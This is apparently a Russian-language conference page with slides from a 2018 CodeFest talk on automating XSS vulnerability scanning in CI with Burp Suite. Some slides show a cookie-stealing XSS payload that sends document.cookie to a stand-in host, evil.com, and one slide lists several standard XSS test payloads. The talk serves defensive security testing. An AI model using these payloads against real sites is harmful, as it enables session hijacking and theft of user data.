CodeFest 2018. Владимир Смирнов (СКБ Контур) — Ломать – не строить! Автоматизируем поиск XSS-уязвимостей

CodeFest 2018. Владимир Смирнов (СКБ Контур) — Ломать – не строить! Автоматизируем поиск XSS-уязвимостей

Посмотрите выступление Владимира: https://2018.codefest.ru/lecture/1345/

Допустим, специалисты по безопасности нашли в нашем приложении уязвимости, они оказались просты в эксплуатации и очень опасны. Мы можем их исправить, но как убедиться, что через некоторое время не появятся новые?

Отныне искать уязвимости в каждом обновлении будут сканеры: если они что-нибудь найдут, релиз в продакшн не уедет. Сейчас мы научились работать с XSS и уже нашли с помощью такого подхода уязвимости.

В докладе расскажем о нашем опыте в автоматизации поиска XSS-уязвимостей: что нас к этому привело, как решали задачу и с какими проблемами столкнулись. Поговорим о том, как проверять сложное веб-приложение на наличие уязвимостей, чем можно пользоваться для поиска, какие еще виды уязвимостей можно искать в автоматическом режиме и реально ли сделать поиск уязвимостей частью CI.

16b6c87229eaf58768d25ed7b2bbbf52?s=128

CodeFest

April 09, 2018
Tweet

Transcript

  1. Ломать - не строить! Автоматизируем поиск XSS-уязвимостей Владимир Смирнов Инженер-

    программист
  2. О себе • Контур.Экстерн • Инженер-программист • CTF 2

  3. С чего все началось • Найдены XSS-уязвимости • Непонятно, как

    избегать появления новых 3
  4. Причины • Безопасность • Размер проекта • Частота обновлений 4

  5. Почему XSS? 5

  6. Что такое XSS? https://example.com/?q=<script>alert(‘Mwahaha’)</script> 6

  7. Что такое XSS? https://example.com/ ?text=<script>document.location=’evil.com/?’ + document.cookie</script> 7

  8. Что такое XSS? https://example.com/ ?text=<script>document.location=’evil.com/?’ + document.cookie</script> goo.gl/oe8LWs 8

  9. Что такое XSS? https://example.com/ ?text=<script>document.location=’evil.com/?’ + document.cookie</script> goo.gl/oe8LWs 9

  10. Цель Автоматизировать поиск XSS-уязвимостей перед выпуском обновлений 10

  11. • > 90% уязвимостей • < 2 часов • Разные

    релизные циклы Критерии 11
  12. Цель 12

  13. Цель 13

  14. Схема работы 14

  15. Запросы • access.logs • Автотесты • Дамп трафика 15

  16. Запросы 16

  17. Payloads • Общие • Для технологии • Для приложения 17

  18. Payloads <script>alert(‘XSS’)</script> <img src=xss onerror=alert(‘XSS’)> {{constructor.constructor('alert(1)')()}} http://bit.do/xsspayloads 18

  19. Intruder 19

  20. Intruder 20 GET /?a=1&b=1 POST / GET /?a=payload1&b=1 GET /?a=payload2&b=1

    payload1 payload2 GET /?a=1&b=payload1 GET /?a=1&b=payload2
  21. Intruder 21 GET /?a=1&b=1 POST / Header: payload1 Header: payload2

    payload1 payload2 Body: payload1 Body: payload2
  22. Detector 22

  23. Detector 23

  24. Почему Burp Suite? • Работа с большим количеством запросов •

    Возможность создания плагинов • Большое коммьюнити 24
  25. Burp 25

  26. Результаты 26

  27. Поиск уязвимостей в CI • Встраиваемость Но: • Долго работает

    • Возможна проверка не всех случаев 27
  28. Планы • Другие виды уязвимостей • Системный процесс • Массовое

    использование 28
  29. Выводы • Безопасность - больше закрытых уязвимостей • Простота настройки

    - нужен только набор запросов • Скорость работы - 1 час 29
  30. Кстати http://bit.do/securitytesting 30

  31. @DarkDodo888 Владимир Смирнов Инженер- программист Спасибо за внимание! vv_smirnov@skbkontur.ru 31

  32. 32